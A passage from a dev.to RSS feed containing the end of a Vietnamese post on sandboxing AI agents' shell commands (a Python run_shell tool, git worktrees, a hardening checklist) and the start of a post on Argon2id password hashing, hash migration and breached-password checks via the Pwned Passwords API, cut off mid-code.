&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;pathlib&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Path&lt;/span&gt;

&lt;span class="n"&gt;MAX_OUTPUT&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;8_000&lt;/span&gt;  &lt;span class="c1"&gt;# ký tự, tránh làm nổ context window
&lt;/span&gt;&lt;span class="n"&gt;SANDBOX&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Path&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;__file__&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;parent&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;run-sandboxed.sh&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;run_shell&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cmd&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;workspace&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;90&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;Tool cho agent: chạy lệnh shell trong sandbox.&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
    &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;proc&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
            &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nf"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SANDBOX&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;workspace&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;bash&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;-c&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cmd&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
            &lt;span class="n"&gt;capture_output&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;TimeoutExpired&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;exit_code&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;output&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;TIMEOUT sau &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;s&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="n"&gt;out&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;proc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;stdout&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;proc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;stderr&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;MAX_OUTPUT&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;half&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;MAX_OUTPUT&lt;/span&gt; &lt;span class="o"&gt;//&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
        &lt;span class="n"&gt;out&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="p"&gt;[:&lt;/span&gt;&lt;span class="n"&gt;half&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;...[đã cắt bớt]...&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;half&lt;/span&gt;&lt;span class="p"&gt;:]&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;exit_code&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;proc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;returncode&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;output&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Vì sao giữ cả đầu và cuối output? Với lỗi build, thông tin quan trọng thường ở cuối (stack trace), còn lệnh test thì tóm tắt nằm ở đầu. Cắt ở giữa giúp agent vẫn thấy cả hai.&lt;/p&gt;

&lt;p&gt;Luồng xử lý một task hoàn chỉnh trông như sau:&lt;br&gt;
&lt;/p&gt;

&lt;pre data-lang="mermaid"&gt;&lt;code&gt;sequenceDiagram
    participant H as Host
    participant A as Agent
    participant S as Sandbox
    H-&amp;gt;&amp;gt;H: git worktree add /tmp/ws-123
    H-&amp;gt;&amp;gt;A: task + workspace path
    loop Tool calls
        A-&amp;gt;&amp;gt;S: run_shell(cmd)
        S--&amp;gt;&amp;gt;A: exit_code + output
    end
    A--&amp;gt;&amp;gt;H: done
    H-&amp;gt;&amp;gt;H: git diff, review, merge hoặc xóa worktree&lt;/code&gt;&lt;/pre&gt;



&lt;p&gt;Dùng &lt;code&gt;git worktree add&lt;/code&gt; để tạo workspace riêng cho mỗi task rất tiện: nhanh, nhẹ, và xóa sạch bằng &lt;code&gt;git worktree remove --force&lt;/code&gt; khi agent làm hỏng.&lt;/p&gt;

&lt;h2&gt;
  
  
  Kết luận
&lt;/h2&gt;

&lt;p&gt;Sandbox không làm agent thông minh hơn, nhưng nó biến những sai lầm "có thể mất cả máy" thành sai lầm "xóa worktree làm lại". Checklist mình khuyên áp dụng ngay:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Coi mọi lệnh agent sinh ra là untrusted code.&lt;/strong&gt; Đừng dựa vào regex blacklist.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Tắt network mặc định&lt;/strong&gt; (&lt;code&gt;--network none&lt;/code&gt; hoặc &lt;code&gt;--unshare-all&lt;/code&gt;). Chỉ mở ở pha cài đặt từ lockfile.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Không để secret lọt vào sandbox&lt;/strong&gt;: &lt;code&gt;--clearenv&lt;/code&gt;, không mount &lt;code&gt;$HOME&lt;/code&gt;, không truyền token qua env.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Giới hạn tài nguyên&lt;/strong&gt;: timeout, &lt;code&gt;--pids-limit&lt;/code&gt;, &lt;code&gt;--memory&lt;/code&gt;. Agent sẽ viết vòng lặp vô hạn, chỉ là sớm hay muộn.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Làm việc trên bản copy&lt;/strong&gt; bằng &lt;code&gt;git worktree&lt;/code&gt;, review diff trước khi merge.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Cắt output&lt;/strong&gt; trước khi trả về model để tiết kiệm token và tránh tràn context.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Bắt đầu đơn giản: một script &lt;code&gt;docker run&lt;/code&gt; với 6-7 flag ở trên đã chặn được phần lớn rủi ro thực tế. Khi thấy độ trễ là vấn đề thì chuyển sang bubblewrap. Còn khi cần cách ly ở mức kernel (chạy code của người lạ, multi-tenant) thì lúc đó mới cần tính đến gVisor hoặc Firecracker microVM.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>security</category>
      <category>docker</category>
      <category>linux</category>
    </item>
    <item>
      <title>Your Users Will Pick '123456': Password Storage and Breached-Password Checks Done Right</title>
      <dc:creator>EME GUG</dc:creator>
      <pubDate>Sat, 10 Oct 2026 16:43:52 +0000</pubDate>
      <link>https://dev.to/eme_gug_0821b41b948be6516/your-users-will-pick-123456-password-storage-and-breached-password-checks-done-right-9h8</link>
      <guid>https://dev.to/eme_gug_0821b41b948be6516/your-users-will-pick-123456-password-storage-and-breached-password-checks-done-right-9h8</guid>
      <description>&lt;p&gt;Tuần này HN có một thread hơn 300 điểm về vụ rò rỉ dữ liệu CPR ở Đan Mạch, và chi tiết khiến ai cũng thở dài là: mật khẩu &lt;code&gt;123456&lt;/code&gt; nằm ngay trong câu chuyện. Năm 2026 rồi mà vẫn vậy. Đọc comment thì thấy phần lớn mọi người đổ lỗi cho user. Mình thì nghĩ khác: &lt;strong&gt;user sẽ luôn chọn &lt;code&gt;123456&lt;/code&gt;, việc của developer là làm sao để hệ thống không chấp nhận nó và không để lộ nó khi bị dump database&lt;/strong&gt;. Bài này mình chia sẻ cách mình xử lý password trong các dự án thực tế: hash bằng Argon2id, chặn password đã bị lộ bằng k-anonymity, và migrate hash cũ mà không bắt user đổi mật khẩu.&lt;/p&gt;

&lt;h2&gt;
  
  
  1. Ngừng tự chế, dùng Argon2id với tham số đúng
&lt;/h2&gt;

&lt;p&gt;Mình vẫn gặp codebase ở Việt Nam lưu &lt;code&gt;md5(password)&lt;/code&gt; hoặc &lt;code&gt;sha256(password + salt)&lt;/code&gt;. Vấn đề là MD5 hay SHA-256 được thiết kế để &lt;strong&gt;nhanh&lt;/strong&gt;. Một con RTX 4090 có thể thử hàng chục tỷ MD5 mỗi giây. Khi database bị dump, mấy password yếu kiểu &lt;code&gt;123456&lt;/code&gt;, &lt;code&gt;matkhau123&lt;/code&gt;, &lt;code&gt;iloveyou&lt;/code&gt; sẽ bị crack trong vài giây.&lt;/p&gt;

&lt;p&gt;Password hashing cần &lt;strong&gt;chậm và tốn RAM&lt;/strong&gt; một cách có chủ đích. Lựa chọn hiện tại là &lt;strong&gt;Argon2id&lt;/strong&gt; (thắng Password Hashing Competition, được OWASP khuyến nghị). Mức tối thiểu OWASP đưa ra: &lt;code&gt;m=19 MiB, t=2, p=1&lt;/code&gt;. Nếu server dư RAM thì cứ tăng lên.&lt;/p&gt;

&lt;p&gt;Với Python, mình dùng &lt;code&gt;argon2-cffi&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# pip install argon2-cffi&amp;gt;=23.1.0
&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;argon2&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;PasswordHasher&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;argon2.exceptions&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;VerifyMismatchError&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;InvalidHashError&lt;/span&gt;

&lt;span class="c1"&gt;# OWASP minimum: Argon2id, memory 19 MiB, 2 iterations, 1 lane
&lt;/span&gt;&lt;span class="n"&gt;ph&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;PasswordHasher&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;time_cost&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;memory_cost&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;19456&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;parallelism&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;hash_password&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;plain&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="c1"&gt;# Output dạng: $argon2id$v=19$m=19456,t=2,p=1$&amp;lt;salt&amp;gt;$&amp;lt;hash&amp;gt;
&lt;/span&gt;    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;ph&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;hash&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;plain&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;verify_and_upgrade&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;stored_hash&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;plain&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;save_hash&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;bool&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;ph&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;verify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;stored_hash&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;plain&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;except &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;VerifyMismatchError&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;InvalidHashError&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;False&lt;/span&gt;
    &lt;span class="c1"&gt;# Nếu sau này tăng memory_cost, hash cũ sẽ tự được nâng cấp khi user login
&lt;/span&gt;    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;ph&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;check_needs_rehash&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;stored_hash&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="nf"&gt;save_hash&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ph&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;hash&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;plain&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Điểm hay của format &lt;code&gt;$argon2id$...&lt;/code&gt; là tham số và salt nằm luôn trong chuỗi hash. Bạn không cần cột &lt;code&gt;salt&lt;/code&gt; riêng, và khi muốn tăng độ khó thì chỉ cần đổi config, &lt;code&gt;check_needs_rehash&lt;/code&gt; lo phần còn lại.&lt;/p&gt;

&lt;p&gt;Mẹo thực tế: benchmark trên đúng loại máy production. Mục tiêu là mỗi lần hash mất khoảng 200–500ms. Nhanh hơn thì tăng &lt;code&gt;memory_cost&lt;/code&gt;, chậm quá thì endpoint login dễ bị DoS. Login endpoint luôn phải đi kèm rate limit.&lt;/p&gt;

&lt;h2&gt;
  
  
  2. Migrate hash cũ mà không bắt user reset password
&lt;/h2&gt;

&lt;p&gt;Câu hỏi mình hay nhận: hệ thống có 2 triệu user đang dùng MD5, chẳng lẽ bắt reset hết? Không cần. Có hai giai đoạn:&lt;br&gt;
&lt;/p&gt;

&lt;pre data-lang="mermaid"&gt;&lt;code&gt;flowchart TD
    A[User login] --&amp;gt; B{Loại hash trong DB?}
    B --&amp;gt;|argon2id| C[Verify Argon2id]
    B --&amp;gt;|wrapped md5| D[Verify argon2 của md5 password]
    D --&amp;gt;|OK| E[Hash lại bằng Argon2id thuần]
    E --&amp;gt; F[Cập nhật DB]
    C --&amp;gt;|OK| G[Login thành công]
    F --&amp;gt; G
    C --&amp;gt;|Fail| H[Từ chối]
    D --&amp;gt;|Fail| H&lt;/code&gt;&lt;/pre&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Giai đoạn 1 (làm ngay, offline):&lt;/strong&gt; chạy batch job bọc toàn bộ hash cũ: &lt;code&gt;argon2id(md5_hash)&lt;/code&gt;, đánh dấu &lt;code&gt;hash_type = 'wrapped_md5'&lt;/code&gt;. Sau bước này, kể cả DB bị dump thì attacker cũng phải đối mặt với Argon2id. Đừng chờ user login mới bảo vệ họ.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Giai đoạn 2 (dần dần):&lt;/strong&gt; khi user login thành công, tính &lt;code&gt;md5(password)&lt;/code&gt;, verify với hash đã bọc, đúng thì hash lại bằng Argon2id thuần và xoá flag.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Sau 6–12 tháng, những account còn ở dạng wrapped thường là account chết. Lúc đó có thể buộc reset password cho nhóm này.&lt;/p&gt;

&lt;h2&gt;
  
  
  3. Chặn password đã bị lộ bằng k-anonymity
&lt;/h2&gt;

&lt;p&gt;Hash tốt cũng không cứu được password &lt;code&gt;123456&lt;/code&gt;, vì attacker thử nó đầu tiên. NIST SP 800-63B (bản rev 4) nói rõ: &lt;strong&gt;bỏ mấy rule kiểu bắt có ký tự đặc biệt, thay vào đó check password với danh sách password đã bị lộ&lt;/strong&gt;. Cái rule bắt có chữ hoa, số, ký tự đặc biệt chỉ sinh ra &lt;code&gt;Password@123&lt;/code&gt;, cũng nằm trong mọi wordlist.&lt;/p&gt;

&lt;p&gt;API Pwned Passwords của Have I Been Pwned dùng kỹ thuật &lt;strong&gt;k-anonymity&lt;/strong&gt;: bạn chỉ gửi 5 ký tự đầu của SHA-1, server trả về khoảng vài trăm suffix khớp prefix đó, việc so sánh làm ở phía bạn. Password thật không bao giờ rời khỏi server của bạn.&lt;br&gt;
&lt;/p&gt;

&lt;pre data-lang="mermaid"&gt;&lt;code&gt;sequenceDiagram
    participant U as User
    participant S as Backend
    participant H as Pwned Passwords API
    U-&amp;gt;&amp;gt;S: Đăng ký với password
    S-&amp;gt;&amp;gt;S: SHA-1 rồi tách prefix 5 ký tự và suffix
    S-&amp;gt;&amp;gt;H: GET /range/7C4A8
    H--&amp;gt;&amp;gt;S: Danh sách suffix:count
    S-&amp;gt;&amp;gt;S: So khớp suffix ở local
    S--&amp;gt;&amp;gt;U: Từ chối nếu count lớn hơn 0&lt;/code&gt;&lt;/pre&gt;



&lt;p&gt;Thử nhanh bằng bash xem &lt;code&gt;123456&lt;/code&gt; bị lộ bao nhiêu lần:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;HASH&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s1"&gt;'%s'&lt;/span&gt; &lt;span class="s1"&gt;'123456'&lt;/span&gt; | shasum &lt;span class="nt"&gt;-a&lt;/span&gt; 1 | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{print toupper($1)}'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
&lt;span class="nv"&gt;PREFIX&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;HASH&lt;/span&gt;:0:5&lt;span class="k"&gt;}&lt;/span&gt;
&lt;span class="nv"&gt;SUFFIX&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;HASH&lt;/span&gt;:5&lt;span class="k"&gt;}&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; https://api.pwnedpasswords.com/range/&lt;span class="nv"&gt;$PREFIX&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nv"&gt;$SUFFIX&lt;/span&gt;
&lt;span class="c"&gt;# D09CA3762AF61E59520943DC26494F8941B:&amp;lt;con số hàng chục triệu&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Còn đây là bản Node.js 20+ mình dùng trong signup và đổi password flow, không cần thêm dependency nào:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;createHash&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;node:crypto&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;pwnedCount&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;password&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;sha1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;createHash&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;sha1&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;password&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;digest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;hex&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;toUpperCase&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;prefix&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;sha1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;slice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;suffix&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;sha1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;slice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`https://api.pwnedpasswords.com/range/&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;prefix&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
